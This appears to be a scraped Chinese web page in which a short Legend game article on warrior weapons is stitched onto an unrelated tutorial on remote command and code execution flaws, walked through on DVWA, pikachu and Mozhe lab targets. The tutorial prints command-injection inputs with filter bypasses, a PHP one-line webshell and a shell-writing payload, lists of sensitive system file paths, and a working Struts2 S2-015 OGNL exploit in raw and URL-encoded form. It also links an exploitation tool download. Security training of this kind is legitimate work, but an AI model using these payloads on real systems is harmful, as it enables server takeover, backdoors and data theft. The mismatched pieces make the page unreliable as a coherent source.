本篇文章給大家談談降魔傳奇手游法師,以及墨者靶場的知識點,希望對各位有所幫助,不要忘了收藏本站喔。
文章詳情介紹:
傳奇世界:法師克星,足以讓任何法師聞風喪膽的三把武器。
傳奇游戲里戰士這個職業就是以暴力出名,他們追求極限輸出,“一刀人抬走”就是戰士玩家的座右銘,但是想追求極限輸出那么武器就要非常的契合了,因為戰士玩家如果沒有貼臉一套給人抬走那自己就會非常的被動,今天小編就給大家帶來三把讓法師玩家非常頭疼的武器。
1:狂怒降魔杵
這把武器之前是很受廣大戰士喜愛的,他自身是100的重量,還有15-45的屬性加成,從裝備屬性上做比較的話這把武器說他是第一完全沒問題,而且這把武器還有額外加3點的命中值,因為命中值越高戰士在面對法師和道士的時候才能更加有優勢,如果有那個法師亦或道士落單被抓到,那就讓他好好享受著降魔杵的威力把!
2:屠龍
屠龍這把武器從傳奇出世就一直存在著,他在玩家心目中也是地位非常高的存在,就算到了后期這把武器不再是第一兵器的時候也并不影響他被玩家所收藏,不為別的就為那一句“不屠龍不兄弟不傳奇”,雖然不再是第一神兵但是他的屬性也不差,攻擊5-35重量99外加上當時候屠龍霸氣的外觀還是非常受廣大玩家的喜愛。
3:雷霆怒斬
這把武器是傳世后期出來的,可能有的玩家并不是很清楚,它的外觀非常絢麗,重量85攻擊屬性也有12-26,也是和降魔杵一樣附帶了3點命中值,因為外觀好看,而且價格比較平民那個時候可以說是普遍平民戰士必備的神器,好了,今天的介紹就到這里了,如果還有什么想看的可以私信或者評論區留言告訴我,小編一定第一時間為大家手機傳奇的新鮮事哦,現在有一款傳奇也是非常還原了之前1.76版本,大家可以去嘗試一下。
RCE代碼及命令執行
1. RCE漏洞1.1. 漏洞原理RCE漏洞,可以讓攻擊者直接向后臺服務器遠程注入操作系統命令或者代碼,從而控制后臺系統。
1.2. 漏洞產生條件調用第三方組件存在的代碼執行漏洞。
用戶輸入的內容作為系統命令的參數拼接到命令中。
對用戶的輸入過濾不嚴格。
可控變量或漏洞函數。
像命令執行和代碼執行漏洞,通常需要看網站的情況,若網站只是單單的一個頁面那么基本上就不可能存在該漏洞,若網站可能存在一些輸入ip、調用接口等那么可能存在,但是通常該漏洞多數需要配合代碼審計或者拿到源碼,否則很難挖掘到。
1.4. 漏洞分類1.4.1. 命令執行1.4.1.1. 漏洞原理該漏洞的出現是由于應用系統從設計上需要給用戶提供指定的遠程命令操作的接口,例如在防火墻的WEB界面中會存在一個故障排除功能,里面就會存在類似Ping操作的界面,若設計者未針對這類功能進行嚴格的控制檢測,則可能導致攻擊者提交惡意命令,從而控制后臺,控制服務器。
1.4.1.2. 命令執行危險函數PHP:exec、shell、system、popen等
ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
1.4.1.3. 漏洞檢測
白盒:可以對代碼進行審計。
黑盒:這里就可以使用一些漏掃工具、公開的漏洞、手工看功能點及參數值,其中參數值主要需要看是否和相關的漏洞函數有關,若有就可以進行測試,但是可能存在加密的情況,那么還需要進行解密。
1.4.2. 代碼執行1.4.2.1. 漏洞原理這個漏洞和命令執行漏洞差不多,根據設計的需求,需將用戶輸入的部分代碼進行執行,從而導致遠程代碼執行漏洞的出現。所以,開放的代碼執行,需要針對代碼進行做嚴格的控制,避免出現相應的漏洞。
1.4.2.2. 代碼執行危險函數PHP: eval、assert、preg_replace()、+/e模式(PHP版本\<5.5.0)
Javascript: eval
Vbscript:Execute、Eval
Python: exec
1.4.2.3. 漏洞檢測
整體的檢測方式和命令執行都是一樣的,只是輸入的方式不同
白盒:可以對代碼進行審計。
黑盒:這里就可以使用一些漏掃工具、公開的漏洞、手工看功能點及參數值,其中參數值主要需要看是否和相關的漏洞函數有關,若有就可以進行測試,但是可能存在加密的情況,那么還需要進行解密。
1.5. 命令執行和代碼執行區別這兩者的區別主要在于命令執行是調用操作系統命令進行執行,而代碼執行是調用服務器網站的代碼進行執行。
2. 命令執行2.1. 命令執行函數介紹借鑒鏈接
2.1.1. system函數該函數會將執行的結果輸出并將輸出結果的最后一行作為字符串返回,如果執行失敗則返回fale。這個函數也是經常被使用到的。
<?php
highlight_file(__FILE__);
system('pwd');
?>
2.1.2. exec函數
該函數不會輸出結果,但是會返回執行結果的最后一行,可以結合output進行結果的輸出。
<?php
highlight_file(__FILE__);
exec('pwd',$b);
var_dump($b);
?>
2.1.3. passthru函數
該函數只調用命令,并將運行的結果原封不動的輸出,沒有相應的返回值。
<?php
highlight_file(__FILE__);
passthru('ls');
?>
2.1.4. shell_exec函數
該函數不會輸出結果,返回執行結果 使用反引號(``)時調用的就是此函數。
<?php
highlight_file(__FILE__);
var_dump(shell_exec('ls'));
?>
2.1.5. 總結
當然還有很多的其他函數,可以自學百度搜索。
2.2. 命令執行前置基礎在進行命令執行之前首先需要來了解一下基本的Windows命令以及Linux命令,這里我們只做簡單的介紹,倘若真的發現該漏洞了,可以直接在網上查找到相關的命令組成進行執行。
2.2.1. Windows基礎命令Windows的基礎命令準確來說也就是cmd中輸入的命令,例如ping、tracert、telnet等。
ping #測試連通性
tracert #追蹤路由
telnet #遠程連接
dir #列出目錄
ipconfig #查看ip
arp -a #查看路由表
calc #打開計算器
regedit #打開注冊表
netstat -ano #查看服務器端口信息
當然還有很多的命令,這里只是舉一些列子而已,若不知相關參數,或者使用方式,可以去搜索Windows相關的命令教程。
2.2.2. Linux命令Linux命令我感覺更沒什么好說的了,平常操作linux就是使用命令,這部分若不太了解可以去看我的linux命令總結。
cd #切換目錄
ls #顯示當前目錄下的文件
ifconfig #查看IP地址
cat /etc/passwd #查看password文件內容
id #查看當前用戶的id號
cat /etc/group #查看用戶組文件內容
pwd #顯示當前目錄
uname -a #查看當前系統版本
natstat -pantu #查看當前服務器的端口信息
netstat -nr #查看網關和路由
2.2.3. 拼接符
| #只執行|后面的語句
|| #如果前面命令是錯的那么就執行后面的語句,否則只執行前面的語句
& #&前面和后面命令都要執行,無論前面真假
&& #如果前面為假,后面的命令也不執行,如果前面為真則執行兩條命令
; #前后都執行,無論前面真假,類似&
2.3. 命令執行案例
這里我們用DVWA靶場來做案例。
2.3.1. 亂碼解決這里我們在輸入內容的時候會出現亂碼的情況,可以把DVWA\dvwa\includes目錄下的dvwaPage.inc.php文件中所有的”charset=utf-8”,全部替換修改為”charset=gb2312”即可
2.3.2. Low級別2.3.2.1. 介紹在low級別中是接受了用戶輸入的IP,服務器通過操作性的不同情況執行ping命令,并且Low級別中并未對輸入的內容進行過濾。
2.3.2.2. 操作這里我們使用net user查看一下用戶,但是這里若直接輸入net user,是不會執行命令的。
這里就需要使用到我們之前提到過的拼接符,并且這里并沒有進行過濾,那么這里可以使用任意的拼接符,只要保證能夠在拼接后正常輸出即可。比如這里我使用“|”拼接符,“|”只會執行后面的,那么這里可以直接跳過,輸入前邊的內容,直接輸入“|net user”
當然這里也可以使用別的拼接符做案例,比如使用“&&”,之前解釋道,“&&”是當前面的命令為假,那么后面也不執行,反之,若前面的命令為真,那么后面就會執行,這里也就是說前面的命令能夠正常執行了,那么后面的命令也就能執行,那么這里輸入“127.0.0.1 && net user”
其它的可以自己試試,這里我就不全部進行執行了。
在Medium級別中是對“&&”與“;”進行了過濾,那么這里可以不使用這兩個破解符即可,使用別的,比如我之前提到的“|”或者“&”。
2.3.3.2. 操作關于“|”在Low級別中已經操作過了,那么這里我就只操作“&”,“&”破解符是不管前面的命令執不執行都會執行后面的命令。那么這里是不是也就可以直接輸入“& net user”?
這里可能發現誒,并沒有執行,那么你可以向下翻一翻。可以發現命令是執行了,當然最好還是完整輸入。
在High級別中是對“|”進行過濾了,這里不知道是作者無意間敲了一個空格還是故意的。
2.3.4.2. 操作1)那么這里其實就可以直接輸入“|net user”,這里可能看到不是過濾了“|”怎么還能用?
其實這里主要是在“|”后面不進行空格直接連起來輸入, 就可以繞過了,因為你過濾“|”關我“|”什么事?
2.4. 墨者靶場案例這里我們使用墨者靶場中的命令注入執行分析,做一個全流程的操作。
2.4.1. 靶場鏈接靶場需要5個墨幣,挺貴了,其實題目很簡單,但是感覺不值得,不想買的看看也行。
命令注入執行分析
2.4.2. 判斷操作系統這里我們首先需要先判斷一下操作系統,由于命令執行是分操作系統的,不同的操作系統的命令也是不同的,所以需要先判斷一下操作系統。可以看到這里是Ubuntu系統。
2.4.3. 開始測試這里我們就使用之前我們測試過的方式進行測試,這里我們測試了127.0.0.1 |pwd 不行,其他的我也不測試了也不行。
2.4.4. 抓包這里發現輸入不行,為了好測試,這里直接開始抓包分析,我們抓到包后,嘗試在包后面添加,然后發送。這里修改數據包后,成功發送。
2.4.5. 失敗獲取key值這里在獲取key值的時候,發現無法獲取,不輸出內容,那么這里就要考慮是否存在過濾,那么在linux中存在讀取文件有cat、more、less、head、tail等,那么我們這里就一個個嘗試
2.4.6. 嘗試讀取key值這里我們結果嘗試后發現,所有的讀取命令都不行,那么這里我們就要考慮其他的方式了。
2.4.7. 成功獲取key值在linux中還存輸入重定向,就是將一個文件作為命令的標準輸入,格式:cat <key_2527.php。
2.5. 命令執行總結案例中設計到的只是使用了“net user”作為演示,當然也可以使用別的一些命令,由于我這個是Windows系統,Linux系統也是一樣的。至于安全,還是需要在開發過程中需要對參數進行嚴格的限制。
3. 代碼執行3.1. 代碼執行函數介紹3.1.1. ${}執行代碼該執行代碼會將中間的php代碼進行解析。
<?php
${<!-- -->phpinfo()};
?>
3.1.2. eval函數
該函數會將字符串當作函數進行執行,但是需要傳入一個完整的語句,同時必須以;分號結尾,也是最常見的函數。
<?php
eval('echo "hello";');
?>
3.1.3. assert函數
該函數是判斷是否為字符串,如果是則當初代碼進行執行,但是在php7.0.29之后的版本不支持動態調用。
低版本
<?php
assert($_POST['a']);
?>
7.0.29之后
<?php
$a = 'assert';
$a(phpinfo());
?>
3.1.4. array_map函數
該函數是為數組的每個元素應用回調函數。
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
構建的payload
?a=assert&b=phpinfo();
3.1.5. 總結
這里和命令執行一樣,涉及的函數會很多,可以自學百度搜索學習,或者在實際情況中遇到后,在搜索也行。
3.2. 代碼執行案例3.2.1. pikachu靶場該案例我們使用pikachu靶場來做演示
3.2.1.1. 開始測試這里我們可以根據提示可以看到,讓我們提交一個我們喜歡的字符串。我們這里隨便輸入一些,發現返回“你喜歡的字符還挺奇怪的!”
3.2.1.2. 代碼分析從代碼中能夠看到,是把用戶提到的請求內容,直接使用eval函數去執行,也就是說當函數執行的時候若報錯了,那么就會直接if語句中的內容。那么當沒有報錯的時候就會把代碼進行執行。
3.2.1.3. 嘗試代碼執行這里我們輸入一個phpinfo();,提交執行,看看效果,可以看到能夠PHP代碼被執行了,并且返回了相應的結果到前端。
3.3. 代碼執行漏洞利用借鑒
3.3.1. 利用方式?txt=@eval($_POST['cmd']); 一句話木馬
?txt=print(_FILE_); 獲取當前絕對路徑
?txt=var_dump(file_get_contents('c:\\windows\system32\drivers\etc\hosts')); 讀取文件
?txt=var_dump(file_put_contents($_POST[1],$POST[2]));
1=shell.php&2=<?php phpinfo()?> 寫shell
3.3.2. PHP魔術常量
PHP 向它運行的任何腳本提供了大量的預定義常量,但是在這里有很多的常量是有不同的擴展庫定義的。
__LINE__顯示文件中的當前行號
__FILE__顯示文件的完整路徑和文件名。如果用在被包含文件中,則返回被包含的文件名
__DIR__顯示文件所在的目錄。如果用在被包括文件中,則返回被包括的文件所在的目錄
當然還有其他的這里我就舉幾個例子,也可以去看我給的鏈接,文章大佬進行詳細的總結。
3.3.2.1. __LINE__案例獲取當前代碼所在行數。
3.3.2.2. __FILE__案例獲得當前文件的完整路徑。
3.3.2.3. __DIR__案例獲得當前文件所在的目錄。
3.3.3. 讀取文件利用代碼執行漏洞讀取一些操作系統上的敏感文件,從而獲取重要的信息。
3.3.3.1. 讀取文件前置了解1)Windows
C:\boot.ini //查看系統版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //windows初次安裝的密碼
C:\program Files\mysql\my.ini //Mysql配置信息
2)Linux
/etc/passwd //linux用戶信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql配置文件
3.3.3.2. 讀取hosts文件案例
這里讀取hosts文件,讀取其他文件都是一樣的。
3.3.4. 一句話木馬利用代碼執行漏洞可以配合一句話木馬,然后使用工具進行連接一句話木馬,從而實現獲取敏感數據。
3.3.4.1. 代碼準備這里就不使用pikachu靶場了,這里我們自己編寫一個代碼。
<?php
if(isset($_GET['a'])){
eval($_GET['a']);
}
else{
echo "please input a";
}
?>
3.3.4.2. 訪問頁面
這里我們訪問我們剛剛編寫的頁面。
3.3.4.3. 添加一句話木馬這里我們在url后添加?a=@eval($_POST['cmd']),然后訪問。
3.3.4.4. 連接一句話木馬這里我們使用蟻劍進行連接測試,然后連接目標主機。
3.3.4.5. 訪問目標主機可以看到這里我們已經能連接上目標主機。
3.3.5. 寫Shell利用遠程代碼執行漏洞執行寫文件的操作,使其生成后門木馬。
3.3.5.1. 訪問頁面這里我們依舊使用之前的準備的代碼。
3.3.5.2. 拼接代碼在URL后面添加?a=var_dump(file_put_contents($_POST[1],$_POST[2]));然后使用Post發送1=info.php&2=<?php phpinfo();?>。
3.3.5.3. 訪問info.php這個新生成的頁面是在當前目錄下,也就是說你訪問的是根目錄,那么文件就在根目錄下,那么這里可以看到我們已經成功生成了,那么如果我們生成的是一個一句話木馬呢?
3.3.6. 墨者靶場3.3.6.1. 靶場鏈接靶場鏈接:
https://www.mozhe.cn/bug/detail/253
這里測試可以使用工具進行測試,工具下載鏈接:struts2漏洞檢測工具:
https://pan.baidu.com/s/13yIAHLDY1sZliQI6Wg1ZXA?pwd=t95s提取碼:t95s
通過工具的檢測我們可以看到是存在相應的漏洞的。
3.3.6.3. 工具利用這里我們可以去網上上exp,也可以使用工具直接利用。這里我們就使用工具進行利用,這里我們通過前期的檢測,我們檢測出存在遠程執行漏洞,那么我們可以在漏洞編號上選擇相應的編號,然后在命令執行位置,輸入想要執行的命令。
可以看到成功執行,后續文件不在測試怎么看key值。
3.3.6.4. 尋找exp這里說一下exp:意思就是利用代碼,而poc:意思就是驗證代碼
像這個漏洞可以在網上直接找相關的exp進行操作。
例如這里寫入exp的方式利用S2-015漏洞。
${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action
當然這里不能直接輸入這樣的命令,需要對其進行url編碼。
/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%@toString%@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action
3.3.6.5. 獲取key值
由于使用工具很容易就獲取到了key值,這里我們使用exp進行獲取。
/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat key.txt').getInputStream()),#q}.action
url編號后的exp
/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action
4. 防御
其實兩者的防御都是一樣的。需要對敏感函數禁用,就是之前提到的一些函數已經未提到的,同時對相關的變量進行過濾,再其次就是之上使用WAF的產品進行防護。
5. 其他這里的WAF繞過我并沒有提,可以自行百度搜索,因為像這類漏洞,多數需要白盒查看源代碼進行代碼審計然后才能發現漏洞,當然也不是說黑盒不行,主要要考慮到,對方參數有沒有修改,設置了哪些過濾等等,盲猜比較麻煩。
from https://www.freebuf.com/articles/web/367358.html